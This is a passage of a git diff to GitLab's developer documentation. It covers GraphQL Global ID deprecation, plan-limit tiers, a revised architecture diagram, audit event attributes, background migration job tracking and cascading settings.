+to `Gitlab::GlobalId::Deprecations`.
+
+NOTE:
+If the Global ID is _only_ [exposed as a field](#exposing-global-ids) then we do not need to
+deprecate it. We consider the change to the way a Global ID is expressed in a field to be
+backwards-compatible. We expect that clients don't parse these values: they are meant to
+be treated as opaque tokens, and any structure in them is incidental and not to be relied on.
+
+**Example scenario:**
+
+This example scenario is based on this [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62645).
+
+A model named `PrometheusService` is to be renamed `Integrations::Prometheus`. The old model
+name is used to create a Global ID type that is used as an argument for a mutation:
+
+```ruby
+# Mutations::UpdatePrometheus:
+
+argument :id, Types::GlobalIDType[::PrometheusService],
+ required: true,
+ description: "The ID of the integration to mutate."
+```
+
+Clients call the mutation by passing a Global ID string that looks like
+`"gid://gitlab/PrometheusService/1"`, named as `PrometheusServiceID`, as the `input.id` argument:
+
+```graphql
+mutation updatePrometheus($id: PrometheusServiceID!, $active: Boolean!) {
+ prometheusIntegrationUpdate(input: { id: $id, active: $active }) {
+ errors
+ integration {
+ active
+ }
+ }
+}
+```
+
+We rename the model to `Integrations::Prometheus`, and then update the codebase with the new name.
+When we come to update the mutation, we pass the renamed model to `Types::GlobalIDType[]`:
+
+```ruby
+# Mutations::UpdatePrometheus:
+
+argument :id, Types::GlobalIDType[::Integrations::Prometheus],
+ required: true,
+ description: "The ID of the integration to mutate."
+```
+
+This would cause a breaking change to the mutation, as the API now rejects clients who
+pass an `id` argument as `"gid://gitlab/PrometheusService/1"`, or that specify the argument
+type as `PrometheusServiceID` in the query signature.
+
+To allow clients to continue to interact with the mutation unchanged, edit the `DEPRECATIONS` constant in
+`Gitlab::GlobalId::Deprecations` and add a new `Deprecation` to the array:
+
+```ruby
+DEPRECATIONS = [
+ Deprecation.new(old_model_name: 'PrometheusService', new_model_name: 'Integrations::Prometheus', milestone: '14.0')
+].freeze
+```
+
+Then follow our regular [deprecation process](../api/graphql/index.md#deprecation-and-removal-process). To later remove
+support for the former argument style, remove the `Deprecation`:
+
+```ruby
+DEPRECATIONS = [].freeze
+```
+
+During the deprecation period the API will accept either of these formats for the argument value:
+
+- `"gid://gitlab/PrometheusService/1"`
+- `"gid://gitlab/Integrations::Prometheus/1"`
+
+The API will also accept these types in the query signature for the argument:
+
+- `PrometheusServiceID`
+- `IntegrationsPrometheusID`
+
+NOTE:
+Although queries that use the old type (`PrometheusServiceID` in this example) will be
+considered valid and executable by the API, validator tools will consider them to be invalid.
+This is because we are deprecating using a bespoke method outside of the
+[`@deprecated` directive](https://spec.graphql.org/June2018/#sec--deprecated), so validators are not
+aware of the support.
+
+The documentation will mention that the old Global ID style is now deprecated.
+
See also [Aliasing and deprecating mutations](#aliasing-and-deprecating-mutations).
## Enums
@@ -784,7 +880,7 @@ field :genus,
see: { 'Wikipedia page on genera' => 'https://wikipedia.org/wiki/Genus' }
```
-This will render in our documentation as:
+This renders in our documentation as:
```markdown
A taxonomic genus. See: [Wikipedia page on genera](https://wikipedia.org/wiki/Genus)
@@ -859,11 +955,11 @@ overhead. If you are writing:
### Error handling
-Resolvers may raise errors, which will be converted to top-level errors as
+Resolvers may raise errors, which are converted to top-level errors as
appropriate. All anticipated errors should be caught and transformed to an
appropriate GraphQL error (see
[`Gitlab::Graphql::Errors`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/graphql/errors.rb)).
-Any uncaught errors will be suppressed and the client will receive the message
+Any uncaught errors are suppressed and the client receives the message
`Internal service error`.
The one special case is permission errors. In the REST API we return
@@ -874,7 +970,7 @@ Query resolvers **should not raise errors for unauthorized resources**.
The rationale for this is that clients must not be able to distinguish between
the absence of a record and the presence of one they do not have access to. To
-do so is a security vulnerability, since it leaks information we want to keep
+do so is a security vulnerability, because it leaks information we want to keep
hidden.
In most cases you don't need to worry about this - this is handled correctly by
@@ -1037,7 +1133,7 @@ class MyThingResolver < BaseResolver
end
```
-By default, fields defined in `#preloads` will be preloaded if that field
+By default, fields defined in `#preloads` are preloaded if that field
is selected in the query. Occasionally, finer control may be
needed to avoid preloading too much or incorrect content.
@@ -1121,7 +1217,7 @@ available in the `Resolver` class as `parent`.
To find the parent object in your `Presenter` class:
-1. Add the parent object to the GraphQL `context` from within your resolver's `resolve` method:
+1. Add the parent object to the GraphQL `context` from your resolver's `resolve` method:
```ruby
def resolve(**args)
@@ -1316,6 +1412,8 @@ Where an object has an `iid`, prefer to use the `full_path` or `group_path`
of its parent in combination with its `iid` as arguments to identify an
object rather than its `id`.
+See also [Deprecate Global IDs](#deprecate-global-ids).
+
### Fields
In the most common situations, a mutation would return 2 fields:
@@ -1327,7 +1425,7 @@ In the most common situations, a mutation would return 2 fields:
By inheriting any new mutations from `Mutations::BaseMutation` the
`errors` field is automatically added. A `clientMutationId` field is
also added, this can be used by the client to identify the result of a
-single mutation when multiple are performed within a single request.
+single mutation when multiple are performed in a single request.
### The `resolve` method
@@ -1447,7 +1545,7 @@ There are three states a mutation response can be in:
#### Success
In the happy path, errors *may* be returned, along with the anticipated payload, but
-if everything was successful, then `errors` should be an empty array, since
+if everything was successful, then `errors` should be an empty array, because
there are no problems we need to inform the user of.
```javascript
@@ -1524,7 +1622,7 @@ of errors should be treated as internal, and not shown to the user in specific
detail.
We need to inform the user when the mutation fails, but we do not need to
-tell them why, since they cannot have caused it, and nothing they can do
+tell them why, because they cannot have caused it, and nothing they can do
fixes it, although we may offer to retry the mutation.
#### Categorizing errors
@@ -1544,7 +1642,7 @@ See also the [frontend GraphQL guide](../development/fe_guide/graphql.md#handlin
### Aliasing and deprecating mutations
The `#mount_aliased_mutation` helper allows us to alias a mutation as
-another name within `MutationType`.
+another name in `MutationType`.
For example, to alias a mutation called `FooMutation` as `BarMutation`:
@@ -1565,7 +1663,7 @@ mount_aliased_mutation 'UpdateFoo',
```
Deprecated mutations should be added to `Types::DeprecatedMutations` and
-tested for within the unit test of `Types::MutationType`. The merge request
+tested for in the unit test of `Types::MutationType`. The merge request
[!34798](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34798)
can be referred to as an example of this, including the method of testing
deprecated aliased mutations.
@@ -1591,7 +1689,7 @@ We cannot test subscriptions using GraphiQL, because they require an Action Cabl
All fields under `Types::SubscriptionType` are subscriptions that clients can subscribe to. These fields require a subscription class,
which is a descendant of `Subscriptions::BaseSubscription` and is stored under `app/graphql/subscriptions`.
-The arguments required to subscribe and the fields that are returned are defined within the subscription class. Multiple fields can share
+The arguments required to subscribe and the fields that are returned are defined in the subscription class. Multiple fields can share
the same subscription class if they have the same arguments and return the same fields.
This class runs during the initial subscription request and subsequent updates. You can read more about this in the
@@ -1623,8 +1721,8 @@ as normal.
Sometimes a mutation or resolver may accept a number of optional
arguments, but we still want to validate that at least one of the optional
arguments is provided. In this situation, consider using the `#ready?`
-method within your mutation or resolver to provide the validation. The
-`#ready?` method is called before any work is done within the
+method in your mutation or resolver to provide the validation. The
+`#ready?` method is called before any work is done in the
`#resolve` method.
Example:
@@ -1698,7 +1796,7 @@ For speed, you should test most logic in unit tests instead of integration tests
However, integration tests that check if data is returned verify the following
additional items:
-- The mutation is actually queryable within the schema (was mounted in `MutationType`).
+- The mutation is actually queryable in the schema (was mounted in `MutationType`).
- The data returned by a resolver or mutation correctly matches the
[return types](https://graphql-ruby.org/fields/introduction.html#field-return-type) of
the fields and resolves without errors.
@@ -1846,7 +1944,7 @@ to protect server resources from overly ambitious or malicious queries.
These values can be set as defaults and overridden in specific queries as needed.
The complexity values can be set per object as well, and the final query complexity is
evaluated based on how many objects are being returned. This is useful
-for objects that are expensive (e.g. requiring Gitaly calls).
+for objects that are expensive (such as requiring Gitaly calls).
For example, a conditional complexity method in a resolver:
diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md
index b532a7ff98b..b606cda1124 100644
--- a/doc/development/application_limits.md
+++ b/doc/development/application_limits.md
@@ -48,7 +48,11 @@ It's recommended to create two separate migration script files.
create_or_update_plan_limit('project_hooks', 'free', 10)
create_or_update_plan_limit('project_hooks', 'bronze', 20)
create_or_update_plan_limit('project_hooks', 'silver', 30)
+ create_or_update_plan_limit('project_hooks', 'premium', 30)
+ create_or_update_plan_limit('project_hooks', 'premium_trial', 30)
create_or_update_plan_limit('project_hooks', 'gold', 100)
+ create_or_update_plan_limit('project_hooks', 'ultimate', 100)
+ create_or_update_plan_limit('project_hooks', 'ultimate_trial', 100)
end
def down
@@ -56,7 +60,11 @@ It's recommended to create two separate migration script files.
create_or_update_plan_limit('project_hooks', 'free', 0)
create_or_update_plan_limit('project_hooks', 'bronze', 0)
create_or_update_plan_limit('project_hooks', 'silver', 0)
+ create_or_update_plan_limit('project_hooks', 'premium', 0)
+ create_or_update_plan_limit('project_hooks', 'premium_trial', 0)
create_or_update_plan_limit('project_hooks', 'gold', 0)
+ create_or_update_plan_limit('project_hooks', 'ultimate', 0)
+ create_or_update_plan_limit('project_hooks', 'ultimate_trial', 0)
end
end
```
@@ -145,6 +153,10 @@ GitLab.com:
- `free`: Namespaces and projects with a Free subscription.
- `bronze`: Namespaces and projects with a Bronze subscription. This tier is no longer available for purchase.
- `silver`: Namespaces and projects with a Premium subscription.
+- `premium`: Namespaces and projects with a Premium subscription.
+- `premium_trial`: Namespaces and projects with a Premium Trial subscription.
- `gold`: Namespaces and projects with an Ultimate subscription.
+- `ultimate`: Namespaces and projects with an Ultimate subscription.
+- `ultimate_trial`: Namespaces and projects with an Ultimate Trial subscription.
The `test` environment doesn't have any plans.
diff --git a/doc/development/architecture.md b/doc/development/architecture.md
index 9801b24fdd0..f39171b1e69 100644
--- a/doc/development/architecture.md
+++ b/doc/development/architecture.md
@@ -35,7 +35,7 @@ Kubernetes platform. The largest known GitLab instance is on GitLab.com, which i
A typical installation uses NGINX or Apache as a web server to proxy through
[GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) and into the [Puma](https://puma.io)
-application server. GitLab serves web pages and the [GitLab API](../api/README.md) using the Puma
+application server. GitLab serves web pages and the [GitLab API](../api/index.md) using the Puma
application server. It uses Sidekiq as a job queue which, in turn, uses Redis as a non-persistent
database backend for job information, metadata, and incoming jobs.
@@ -111,72 +111,187 @@ https://docs.google.com/drawings/d/1fBzAyklyveF-i-2q-OHUIqDkYfjjxC4mq5shwKSZHLs/
### Component diagram
```mermaid
-graph TB
-
-HTTP[HTTP/HTTPS] -- TCP 80, 443 --> NGINX[NGINX]
-SSH -- TCP 22 --> GitLabShell[GitLab Shell]
-SMTP[SMTP Gateway]
-Geo[GitLab Geo Node] -- TCP 22, 80, 443 --> NGINX
-
-GitLabShell --TCP 8080 -->Puma["Puma (GitLab Rails)"]
-GitLabShell --> Praefect
-Puma --> PgBouncer[PgBouncer]
-Puma --> Redis
-Puma --> Praefect
-Sidekiq --> Redis
-Sidekiq --> PgBouncer
-Sidekiq --> Praefect
-GitLabWorkhorse[GitLab Workhorse] --> Puma
-GitLabWorkhorse --> Redis
-GitLabWorkhorse --> Praefect
-Praefect --> Gitaly
-NGINX --> GitLabWorkhorse
-NGINX -- TCP 8090 --> GitLabPages[GitLab Pages]
-NGINX --> Grafana[Grafana]
-NGINX -- TCP 8150 --> GitLabKas[GitLab Kubernetes Agent Server]
-GitLabKas --> Praefect
-Grafana -- TCP 9090 --> Prometheus[Prometheus]
-Prometheus -- TCP 80, 443 --> Puma
-RedisExporter[Redis Exporter] --> Redis
-Prometheus -- TCP 9121 --> RedisExporter
-PostgreSQLExporter[PostgreSQL Exporter] --> PostgreSQL
-PgBouncerExporter[PgBouncer Exporter] --> PgBouncer
-Prometheus -- TCP 9187 --> PostgreSQLExporter
-Prometheus -- TCP 9100 --> NodeExporter[Node Exporter]
-Prometheus -- TCP 9168 --> GitLabExporter[GitLab Exporter]
-Prometheus -- TCP 9127 --> PgBouncerExporter
-GitLabExporter --> PostgreSQL
-GitLabExporter --> GitLabShell
-GitLabExporter --> Sidekiq
-PgBouncer --> Consul
-PostgreSQL --> Consul
-PgBouncer --> PostgreSQL
-NGINX --> Registry
-Puma --> Registry
-NGINX --> Mattermost
-Mattermost --- Puma
-Prometheus --> Alertmanager
-Migrations --> PostgreSQL
-Runner -- TCP 443 --> NGINX
-Puma -- TCP 9200 --> Elasticsearch
-Sidekiq -- TCP 9200 --> Elasticsearch
-Sidekiq -- TCP 80, 443 --> Sentry
-Puma -- TCP 80, 443 --> Sentry
-Sidekiq -- UDP 6831 --> Jaeger
-Puma -- UDP 6831 --> Jaeger
-Gitaly -- UDP 6831 --> Jaeger
-GitLabShell -- UDP 6831 --> Jaeger
-GitLabWorkhorse -- UDP 6831 --> Jaeger
-Alertmanager -- TCP 25 --> SMTP
-Sidekiq -- TCP 25 --> SMTP
-Puma -- TCP 25 --> SMTP
-Puma -- TCP 369 --> LDAP
-Sidekiq -- TCP 369 --> LDAP
-Puma -- TCP 443 --> ObjectStorage["Object Storage"]
-Sidekiq -- TCP 443 --> ObjectStorage
-GitLabWorkhorse -- TCP 443 --> ObjectStorage
-Registry -- TCP 443 --> ObjectStorage
-Geo -- TCP 5432 --> PostgreSQL
+%%{init: {"flowchart": { "useMaxWidth": false } }}%%
+graph LR
+ %% Anchor items in the appropriate subgraph.
+ %% Link them where the destination* is.
+
+ subgraph Clients
+ Browser((Browser))
+ Git((Git))
+ end
+
+ %% External Components / Applications
+ Geo{{GitLab Geo}} -- TCP 80, 443 --> HTTP
+ Geo -- TCP 22 --> SSH
+ Geo -- TCP 5432 --> PostgreSQL
+ Runner{{GitLab Runner}} -- TCP 443 --> HTTP
+ K8sAgent{{GitLab Kubernetes Agent}} -- TCP 443 --> HTTP
+
+ %% GitLab Application Suite
+ subgraph GitLab
+ subgraph Ingress
+ HTTP[[HTTP/HTTPS]]
+ SSH[[SSH]]
+ NGINX[NGINX]
+ GitLabShell[GitLab Shell]
+
+ %% inbound/internal
+ Browser -- TCP 80,443 --> HTTP
+ Git -- TCP 80,443 --> HTTP
+ Git -- TCP 22 --> SSH
+ HTTP -- TCP 80, 443 --> NGINX
+ SSH -- TCP 22 --> GitLabShell
+ end
+
+ subgraph GitLab Services
+ %% inbound from NGINX
+ NGINX --> GitLabWorkhorse
+ NGINX -- TCP 8090 --> GitLabPages
+ NGINX -- TCP 8150 --> GitLabKas
+ NGINX --> Registry
+ %% inbound from GitLabShell
+ GitLabShell --TCP 8080 -->Puma
+
+ %% services
+ Puma["Puma (GitLab Rails)"]
+ Puma <--> Registry
+ GitLabWorkhorse[GitLab Workhorse] <--> Puma
+ GitLabKas[GitLab Kubernetes Agent Server] --> GitLabWorkhorse
+ GitLabPages[GitLab Pages] --> GitLabWorkhorse
+ Mailroom
+ Sidekiq
+ end
+
+ subgraph Integrated Services
+ %% Mattermost
+ Mattermost
+ Mattermost ---> GitLabWorkhorse
+ NGINX --> Mattermost
+
+ %% Grafana
+ Grafana
+ NGINX --> Grafana
+ end
+
+ subgraph Metadata
+ %% PostgreSQL
+ PostgreSQL
+ PostgreSQL --> Consul
+
+ %% Consul and inbound
+ Consul
+ Puma ---> Consul
+ Sidekiq ---> Consul
+ Migrations --> PostgreSQL
+
+ %% PgBouncer and inbound
+ PgBouncer
+ PgBouncer --> Consul
+ PgBouncer --> PostgreSQL
+ Sidekiq --> PgBouncer
+ Puma --> PgBouncer
+ end
+
+ subgraph State
+ %% Redis and inbound
+ Redis
+ Puma --> Redis
+ Sidekiq --> Redis
+ GitLabWorkhorse --> Redis
+ Mailroom --> Redis
+ GitLabKas --> Redis
+
+ %% Sentinel and inbound
+ Sentinel <--> Redis
+ Puma --> Sentinel
+ Sidekiq --> Sentinel
+ GitLabWorkhorse --> Sentinel
+ Mailroom --> Sentinel
+ GitLabKas --> Sentinel
+ end
+
+ subgraph Git Repositories
+ %% Gitaly / Praefect
+ Praefect --> Gitaly
+ GitLabKas --> Praefect
+ GitLabShell --> Praefect
+ GitLabWorkhorse --> Praefect
+ Puma --> Praefect
+ Sidekiq --> Praefect
+ Praefect <--> PraefectPGSQL[PostgreSQL]
+ %% Gitaly makes API calls
+ %% Ordered here to ensure placement.
+ Gitaly --> GitLabWorkhorse
+ end
+
+ subgraph Storage
+ %% ObjectStorage and inbound traffic
+ ObjectStorage["Object Storage"]
+ Puma -- TCP 443 --> ObjectStorage
+ Sidekiq -- TCP 443 --> ObjectStorage
+ GitLabWorkhorse -- TCP 443 --> ObjectStorage
+ Registry -- TCP 443 --> ObjectStorage
+ GitLabPages -- TCP 443 --> ObjectStorage
+ end
+
+ subgraph Monitoring
+ %% Prometheus
+ Grafana -- TCP 9090 --> Prometheus[Prometheus]
+ Prometheus -- TCP 80, 443 --> Puma
+ RedisExporter[Redis Exporter] --> Redis
+ Prometheus -- TCP 9121 --> RedisExporter
+ PostgreSQLExporter[PostgreSQL Exporter] --> PostgreSQL
+ PgBouncerExporter[PgBouncer Exporter] --> PgBouncer
+ Prometheus -- TCP 9187 --> PostgreSQLExporter
+ Prometheus -- TCP 9100 --> NodeExporter[Node Exporter]
+ Prometheus -- TCP 9168 --> GitLabExporter[GitLab Exporter]
+ Prometheus -- TCP 9127 --> PgBouncerExporter
+ Prometheus --> Alertmanager
+ GitLabExporter --> PostgreSQL
+ GitLabExporter --> GitLabShell
+ GitLabExporter --> Sidekiq
+
+ %% Alertmanager
+ Alertmanager -- TCP 25 --> SMTP
+ end
+ %% end subgraph GitLab
+ end
+
+ subgraph External
+ subgraph External Services
+ SMTP[SMTP Gateway]
+ LDAP
+
+ %% Outbound SMTP
+ Sidekiq -- TCP 25 --> SMTP
+ Puma -- TCP 25 --> SMTP
+ Mailroom -- TCP 25 --> SMTP
+
+ %% Outbound LDAP
+ Puma -- TCP 369 --> LDAP
+ Sidekiq -- TCP 369 --> LDAP
+
+ %% Elasticsearch
+ Elasticsearch
+ Puma -- TCP 9200 --> Elasticsearch
+ Sidekiq -- TCP 9200 --> Elasticsearch
+ end
+ subgraph External Monitoring
+ %% Sentry
+ Sidekiq -- TCP 80, 443 --> Sentry
+ Puma -- TCP 80, 443 --> Sentry
+
+ %% Jaeger
+ Jaeger
+ Sidekiq -- UDP 6831 --> Jaeger
+ Puma -- UDP 6831 --> Jaeger
+ Gitaly -- UDP 6831 --> Jaeger
+ GitLabShell -- UDP 6831 --> Jaeger
+ GitLabWorkhorse -- UDP 6831 --> Jaeger
+ end
+ %% end subgraph External
+ end
click Alertmanager "./architecture.html#alertmanager"
click Praefect "./architecture.html#praefect"
diff --git a/doc/development/audit_event_guide/index.md b/doc/development/audit_event_guide/index.md
index 0bff297f2a0..f809293df59 100644
--- a/doc/development/audit_event_guide/index.md
+++ b/doc/development/audit_event_guide/index.md
@@ -20,12 +20,11 @@ To instrument an audit event, the following attributes should be provided:
| Attribute | Type | Required? | Description |
|:-------------|:---------------------|:----------|:----------------------------------------------------|
-| `name` | string | false | Action name to be audited. Used for error tracking |
+| `name` | String | false | Action name to be audited. Used for error tracking |
| `author` | User | true | User who authors the change |
| `scope` | User, Project, Group | true | Scope which the audit event belongs to |
| `target` | Object | true | Target object being audited |
-| `ip_address` | IPAddr | false | Request IP address |
-| `message` | string | true | Message describing the action |
+| `message` | String | true | Message describing the action |
## How to instrument new Audit Events
@@ -56,15 +55,14 @@ to both approvers and approval groups. In the initiating service
```ruby
# in the initiating service
audit_context = {
- name: 'merge_approval_rule_updated',
+ name: 'update_merge_approval_rule',
author: current_user,
scope: project_alpha,
target: merge_approval_rule,
- ip_address: request.remote_ip,
message: 'Attempted to update an approval rule'
}
-Gitlab::Audit::Auditor.audit(audit_context) do
+::Gitlab::Audit::Auditor.audit(audit_context) do
service.execute
end
```
@@ -95,15 +93,14 @@ This method allows recording single audit event and involves fewer moving parts.
```ruby
if merge_approval_rule.save
audit_context = {
- name: 'merge_approval_rule_created',
+ name: 'create_merge_approval_rule',
author: current_user,
scope: project_alpha,
target: merge_approval_rule,
- ip_address: request.remote_ip,
message: 'Created a new approval rule'
}
- Gitlab::Audit::Auditor.audit(audit_context)
+ ::Gitlab::Audit::Auditor.audit(audit_context)
end
```
@@ -114,7 +111,7 @@ The two ways we can instrument audit events have different flows.
### Using block to record multiple events
We wrap the operation block in a `Gitlab::Audit::Auditor` which captures the
-initial audit context (that is, `author`, `scope`, `target`, `ip_address`) object that are
+initial audit context (that is, `author`, `scope`, `target`) object that are
available at the time the operation is initiated.
Extra instrumentation is required in the interacted classes in the chain with
diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md
index 054a3439ef1..2989e10a124 100644
--- a/doc/development/auto_devops.md
+++ b/doc/development/auto_devops.md
@@ -18,7 +18,7 @@ is also available on YouTube.
Auto DevOps builds on top of GitLab CI/CD to create an automatic pipeline
based on your project contents. When Auto DevOps is enabled for a
project, the user does not need to explicitly include any pipeline configuration
-through a [`.gitlab-ci.yml` file](../ci/yaml/README.md).
+through a [`.gitlab-ci.yml` file](../ci/yaml/index.md).
In the absence of a `.gitlab-ci.yml` file, the [Auto DevOps CI
template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
diff --git a/doc/development/avoiding_downtime_in_migrations.md b/doc/development/avoiding_downtime_in_migrations.md
index 6b6c47cfece..646b07f7266 100644
--- a/doc/development/avoiding_downtime_in_migrations.md
+++ b/doc/development/avoiding_downtime_in_migrations.md
@@ -95,8 +95,6 @@ renaming. For example
class RenameUsersUpdatedAtToUpdatedAtTimestamp < ActiveRecord::Migration[4.2]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
disable_ddl_transaction!
def up
@@ -291,8 +289,6 @@ any remaining rows. For example:
class MigrateRemainingIssuesClosedAt < ActiveRecord::Migration[4.2]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
disable_ddl_transaction!
class Issue < ActiveRecord::Base
diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md
index 0b81d40f585..534621caf8f 100644
--- a/doc/development/background_migrations.md
+++ b/doc/development/background_migrations.md
@@ -7,9 +7,9 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo
# Background migrations
-Background migrations should be used to perform data migrations whenever a
-migration exceeds [the time limits in our guidelines](database_review.md#timing-guidelines-for-migrations). For example, you can use background
-migrations to migrate data that's stored in a single JSON column
+Background migrations should be used to perform data migrations whenever a
+migration exceeds [the time limits in our guidelines](database_review.md#timing-guidelines-for-migrations). For example, you can use background
+migrations to migrate data that's stored in a single JSON column
to a separate table instead.
If the database cluster is considered to be in an unhealthy state, background
@@ -17,7 +17,7 @@ migrations automatically reschedule themselves for a later point in time.
## When To Use Background Migrations
-You should use a background migration when you migrate _data_ in tables that have
+You should use a background migration when you migrate _data_ in tables that have
so many rows that the process would exceed [the time limits in our guidelines](database_review.md#timing-guidelines-for-migrations) if performed using a regular Rails migration.
- Background migrations should be used when migrating data in [high-traffic tables](migration_style_guide.md#high-traffic-tables).
@@ -429,3 +429,80 @@ should fit comfortably within the delay time for a few reasons:
Never try to optimize by fully filling the delay window even if you are confident
the queries themselves have no timing variance.
+
+### Background jobs tracking
+
+`queue_background_migration_jobs_by_range_at_intervals` can create records for each job that is scheduled to run.
+You can enable this behavior by passing `track_jobs: true`. Each record starts with a `pending` status. Make sure that your worker updates the job status to `succeeded` by calling `Gitlab::Database::BackgroundMigrationJob.mark_all_as_succeeded` in the `perform` method of your background migration.
+
+```ruby
+# Background migration code
+
+def perform(start_id, end_id)
+ # do work here
+
+ mark_job_as_succeeded(start_id, end_id)
+end
+
+private
+
+# Make sure that the arguments passed here match those passed to the background
+# migration
+def mark_job_as_succeeded(*arguments)
+ Gitlab::Database::BackgroundMigrationJob.mark_all_as_succeeded(
+ self.class.name.demodulize,
+ arguments
+ )
+end
+```
+
+```ruby
+# Post deployment migration
+include Gitlab::Database::MigrationHelpers
+
+MIGRATION = 'YourBackgroundMigrationName'
+DELAY_INTERVAL = 2.minutes.to_i # can be different
+BATCH_SIZE = 10_000 # can be different
+
+disable_ddl_transaction!
+
+def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('name_of_the_table_backing_the_model'),
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ track_jobs: true
+ )
+end
+
+def down
+ # no-op
+end
+```
+
+See [`lib/gitlab/background_migration/drop_invalid_vulnerabilities.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/background_migration/drop_invalid_vulnerabilities.rb) for a full example.
+
+#### Rescheduling pending jobs
+
+You can reschedule pending migrations from the `background_migration_jobs` table by creating a post-deployment migration and calling `requeue_background_migration_jobs_by_range_at_intervals` with the migration name and delay interval.
+
+```ruby
+# Post deployment migration
+include Gitlab::Database::MigrationHelpers
+
+MIGRATION = 'YourBackgroundMigrationName'
+DELAY_INTERVAL = 2.minutes
+
+disable_ddl_transaction!
+
+def up
+ requeue_background_migration_jobs_by_range_at_intervals(MIGRATION, DELAY_INTERVAL)
+end
+
+def down
+ # no-op
+end
+```
+
+See [`db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb) for a full example.
diff --git a/doc/development/bulk_import.md b/doc/development/bulk_import.md
index e70880635e6..ff0c8a19ca1 100644
--- a/doc/development/bulk_import.md
+++ b/doc/development/bulk_import.md
@@ -40,9 +40,9 @@ idea is to have one ETL pipeline for each relation to be imported.
The current [Project](../user/project/settings/import_export.md) and [Group](../user/group/settings/import_export.md) Import are file based, so they require an export
step to generate the file to be imported.
-GitLab Group migration leverages on [GitLab API](../api/README.md) to speed the migration.
+GitLab Group migration leverages on [GitLab API](../api/index.md) to speed the migration.
-And, because we're on the road to [GraphQL](../api/README.md#graphql-api),
+And, because we're on the road to [GraphQL](../api/index.md#graphql-api),
GitLab Group Migration will be contributing towards to expand the GraphQL API coverage, which benefits both GitLab
and its users.
diff --git a/doc/development/cascading_settings.md b/doc/development/cascading_settings.md
index 631de544238..d1c5756fa2c 100644
--- a/doc/development/cascading_settings.md
+++ b/doc/development/cascading_settings.md
@@ -82,7 +82,7 @@ cascading_attr :delayed_project_removal
- `delayed_project_removal_locked_by_ancestor?`
- `delayed_project_removal_locked_by_application_setting?`
- `delayed_project_removal?` (Boolean attributes only)
-- `delayed_project_removal_locked_ancestor` (Returns locked namespace settings object [namespace_id])
+- `delayed_project_removal_locked_ancestor` (Returns locked namespace settings object `[namespace_id]`)
### Attribute reader method (`delayed_project_removal`)
@@ -112,9 +112,9 @@ There are a few Rails view helpers, HAML partials, and JavaScript functions that
### Rails view helpers
-[`cascading_namespace_setting_locked?`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/helpers/namespaces_helper.rb#L86)
+[`cascading_namespace_setting_locked?`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/helpers/namespaces_helper.rb#L86)
-Calls through to the [`_locked?` method](#_locked-method) to check if the setting is locked.
+Calls through to the [`_locked?` method](#_locked-method) to check if the setting is locked.
| Argument | Description | Type | Required (default value) |
|:------------|:---------------------------------------------------------------------------------|:----------------------------------------------------------------------------------|:-------------------------|
@@ -124,47 +124,50 @@ Calls through to the [`_locked?` method](#_locked-method) to check if the settin
### HAML partials
-[`_enforcement_checkbox.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml)
+[`_enforcement_checkbox.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml)
-Renders the enforcement checkbox.
+Renders the enforcement checkbox.
| Local | Description | Type | Required (default value) |
|:-----------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------|:------------------------------------------------|
| `attribute` | Name of the setting. For example, `:delayed_project_removal`. | `String` or `Symbol` | `true` |
+| `group` | Current group. | [`Group`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/group.rb) | `true` |
| `form` | [Rails FormBuilder object](https://apidock.com/rails/ActionView/Helpers/FormBuilder). | [`ActionView::Helpers::FormBuilder`](https://apidock.com/rails/ActionView/Helpers/FormBuilder) | `true` |
| `setting_locked` | If the setting is locked by an ancestor group or admin setting. Can be calculated with [`cascading_namespace_setting_locked?`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/helpers/namespaces_helper.rb#L86). | `Boolean` | `true` |
| `help_text` | Text shown below the checkbox. | `String` | `false` (Subgroups cannot change this setting.) |
-[`_setting_label_checkbox.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/views/shared/namespaces/cascading_settings/_setting_label_checkbox.html.haml)
+[`_setting_label_checkbox.html.haml`](https://gitlab.com/gitlab-org/gitlab/-/blob/c2736823b8e922e26fd35df4f0cd77019243c858/app/views/shared/namespaces/cascading_settings/_setting_label_checkbox.html.haml)
-Renders the label for a checkbox setting.
+Renders the label for a checkbox setting.
| Local | Description | Type | Required (default value) |
|:-----------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------|:-------------------------|
| `attribute` | Name of the setting. For example, `:delayed_project_removal`. | `String` or `Symbol` | `true` |
+| `group` | Current group. | [`Group`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/group.rb) | `true` |
